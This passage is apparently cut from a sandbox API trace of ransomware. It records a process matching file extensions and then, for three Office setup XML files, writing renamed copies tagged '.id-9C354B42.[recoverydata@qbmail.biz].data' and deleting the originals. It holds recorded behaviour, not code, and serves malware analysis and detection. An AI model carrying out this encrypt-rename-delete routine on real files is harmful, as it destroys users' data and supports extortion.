lpString2=".XML") returned -1 [0089.177] lstrlenW (lpString=".xlsx") returned 5 [0089.177] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0089.178] lstrlenW (lpString=".ppt") returned 4 [0089.178] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0089.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0089.178] lstrlenW (lpString=".zip") returned 4 [0089.178] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0089.178] lstrlenW (lpString=".rar") returned 4 [0089.178] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0089.178] lstrlenW (lpString=".bz2") returned 4 [0089.178] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0089.178] lstrlenW (lpString=".7z") returned 3 [0089.178] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0089.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0089.178] lstrlenW (lpString=".dbf") returned 4 [0089.178] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0089.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0089.178] lstrlenW (lpString=".1cd") returned 4 [0089.178] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0089.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0089.179] lstrlenW (lpString=".jpg") returned 4 [0089.179] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0089.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0089.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0089.179] lstrlenW (lpString=".doc") returned 4 [0089.179] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0089.179] lstrlenW (lpString=".docx") returned 5 [0089.179] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0089.179] lstrlenW (lpString=".pdf") returned 4 [0089.179] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0089.179] lstrlenW (lpString=".xls") returned 4 [0089.179] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0089.179] lstrlenW (lpString=".xlsx") returned 5 [0089.179] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0089.179] lstrlenW (lpString=".ppt") returned 4 [0089.180] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0089.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0089.180] lstrlenW (lpString=".zip") returned 4 [0089.180] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0089.180] lstrlenW (lpString=".rar") returned 4 [0089.180] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0089.180] lstrlenW (lpString=".bz2") returned 4 [0089.180] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0089.180] lstrlenW (lpString=".7z") returned 3 [0089.180] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0089.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0089.180] lstrlenW (lpString=".dbf") returned 4 [0089.180] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0089.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0089.180] lstrlenW (lpString=".1cd") returned 4 [0089.181] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0089.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0089.181] lstrlenW (lpString=".jpg") returned 4 [0089.181] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0089.181] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0089.181] lstrlenW (lpString="SETUP.XML") returned 9 [0089.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0089.207] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=1452) returned 1 [0089.207] CloseHandle (hObject=0x1d4) returned 1 [0089.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0089.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0089.207] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0089.207] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.207] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.208] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0089.208] GetLastError () returned 0x0 [0089.208] ReadFile (in: hFile=0x1d4, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0089.224] WriteFile (in: hFile=0x1ac, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0089.225] ReadFile (in: hFile=0x1d4, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0089.225] WriteFile (in: hFile=0x1ac, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0089.225] SetEndOfFile (hFile=0x1ac) returned 1 [0089.226] CloseHandle (hObject=0x1ac) returned 1 [0089.227] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.227] SetEndOfFile (hFile=0x1d4) returned 1 [0089.228] CloseHandle (hObject=0x1d4) returned 1 [0089.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0089.229] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 1 [0089.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0089.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0089.229] lstrlenW (lpString=".doc") returned 4 [0089.229] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0089.229] lstrlenW (lpString=".docx") returned 5 [0089.229] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0089.229] lstrlenW (lpString=".pdf") returned 4 [0089.230] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0089.230] lstrlenW (lpString=".xls") returned 4 [0089.230] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0089.230] lstrlenW (lpString=".xlsx") returned 5 [0089.230] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0089.230] lstrlenW (lpString=".ppt") returned 4 [0089.230] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0089.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0089.230] lstrlenW (lpString=".zip") returned 4 [0089.230] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0089.230] lstrlenW (lpString=".rar") returned 4 [0089.230] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0089.230] lstrlenW (lpString=".bz2") returned 4 [0089.231] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0089.231] lstrlenW (lpString=".7z") returned 3 [0089.231] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0089.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0089.231] lstrlenW (lpString=".dbf") returned 4 [0089.231] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0089.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0089.231] lstrlenW (lpString=".1cd") returned 4 [0089.231] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0089.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0089.231] lstrlenW (lpString=".jpg") returned 4 [0089.231] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0089.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0089.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0089.232] lstrlenW (lpString=".doc") returned 4 [0089.232] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0089.232] lstrlenW (lpString=".docx") returned 5 [0089.232] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0089.232] lstrlenW (lpString=".pdf") returned 4 [0089.232] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0089.232] lstrlenW (lpString=".xls") returned 4 [0089.232] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0089.232] lstrlenW (lpString=".xlsx") returned 5 [0089.232] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0089.232] lstrlenW (lpString=".ppt") returned 4 [0089.232] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0089.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0089.232] lstrlenW (lpString=".zip") returned 4 [0089.232] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0089.232] lstrlenW (lpString=".rar") returned 4 [0089.232] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0089.233] lstrlenW (lpString=".bz2") returned 4 [0089.233] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0089.233] lstrlenW (lpString=".7z") returned 3 [0089.233] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0089.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0089.233] lstrlenW (lpString=".dbf") returned 4 [0089.233] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0089.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0089.233] lstrlenW (lpString=".1cd") returned 4 [0089.233] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0089.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0089.233] lstrlenW (lpString=".jpg") returned 4 [0089.233] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0089.234] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0089.234] lstrlenW (lpString="BRANDING.XML") returned 12 [0089.234] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0089.236] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=596341) returned 1 [0089.236] CloseHandle (hObject=0x1d4) returned 1 [0089.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0089.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0089.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0089.237] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.237] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0089.238] GetLastError () returned 0x0 [0089.238] ReadFile (in: hFile=0x1d4, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x91975, lpOverlapped=0x0) returned 1 [0089.476] WriteFile (in: hFile=0x1ac, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0089.493] ReadFile (in: hFile=0x1d4, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0089.493] WriteFile (in: hFile=0x1ac, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xec, lpOverlapped=0x0) returned 1 [0089.493] SetEndOfFile (hFile=0x1ac) returned 1 [0089.493] CloseHandle (hObject=0x1ac) returned 1 [0090.291] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.291] SetEndOfFile (hFile=0x1d4) returned 1 [0090.560] CloseHandle (hObject=0x1d4) returned 1 [0090.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0090.560] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 1 [0090.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0090.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0090.561] lstrlenW (lpString=".doc") returned 4 [0090.561] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0090.561] lstrlenW (lpString=".docx") returned 5 [0090.561] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0090.561] lstrlenW (lpString=".pdf") returned 4 [0090.561] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0090.561] lstrlenW (lpString=".xls") returned 4 [0090.561] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0090.561] lstrlenW (lpString=".xlsx") returned 5 [0090.561] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0090.562] lstrlenW (lpString=".ppt") returned 4 [0090.562] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0090.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0090.562] lstrlenW (lpString=".zip") returned 4 [0090.562] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0090.562] lstrlenW (lpString=".rar") returned 4 [0090.562] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0090.562] lstrlenW (lpString=".bz2") returned 4 [0090.562] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0090.562] lstrlenW (lpString=".7z") returned 3 [0090.562] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0090.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0090.562] lstrlenW (lpString=".dbf") returned 4 [0090.562] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0090.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0090.563] lstrlenW (lpString=".1cd") returned 4 [0090.563] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0090.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0090.563] lstrlenW (lpString=".jpg") returned 4 [0090.563] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0090.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0090.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0090.563] lstrlenW (lpString=".doc") returned 4 [0090.563] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0090.563] lstrlenW (lpString=".docx") returned 5 [0090.563] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0090.563] lstrlenW (lpString=".pdf") returned 4 [0090.563] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0090.563] lstrlenW (lpString=".xls") returned 4 [0090.564] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0090.564] lstrlenW (lpString=".xlsx") returned 5 [0090.564] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0090.564] lstrlenW (lpString=".ppt") returned 4 [0090.564] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0090.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0090.564] lstrlenW (lpString=".zip") returned 4 [0090.564] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0090.564] lstrlenW (lpString=".rar") returned 4 [0090.564] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0090.564] lstrlenW (lpString=".bz2") returned 4 [0090.564] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0090.564] lstrlenW (lpString=".7z") returned 3 [0090.564] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0090.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0090.565] lstrlenW (lpString=".dbf") returned 4 [0090.565] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0090.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0090.565] lstrlenW (lpString=".1cd") returned 4 [0090.565] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0090.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0090.565] lstrlenW (lpString=".jpg") returned 4 [0090.566] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0090.566] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0090.566] lstrlenW (lpString="OfficeMUI.XML") returned 13 [0090.566] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0091.876] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=5557) returned 1 [0091.876] CloseHandle (hObject=0x218) returned 1 [0091.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0091.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0091.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0091.877] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0091.877] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0091.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0091.878] GetLastError () returned 0x0 [0091.878] ReadFile (in: hFile=0x218, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x15b5, lpOverlapped=0x0) returned 1 [0091.880] WriteFile (in: hFile=0x204, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0091.882] ReadFile (in: hFile=0x218, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0091.882] WriteFile (in: hFile=0x204, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xee, lpOverlapped=0x0) returned 1 [0091.882] SetEndOfFile (hFile=0x204) returned 1 [0091.883] CloseHandle (hObject=0x204) returned 1 [0091.884] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0091.884] SetEndOfFile (hFile=0x218) returned 1 [0091.885] CloseHandle (hObject=0x218) returned 1 [0091.886] SetFileAttributesW 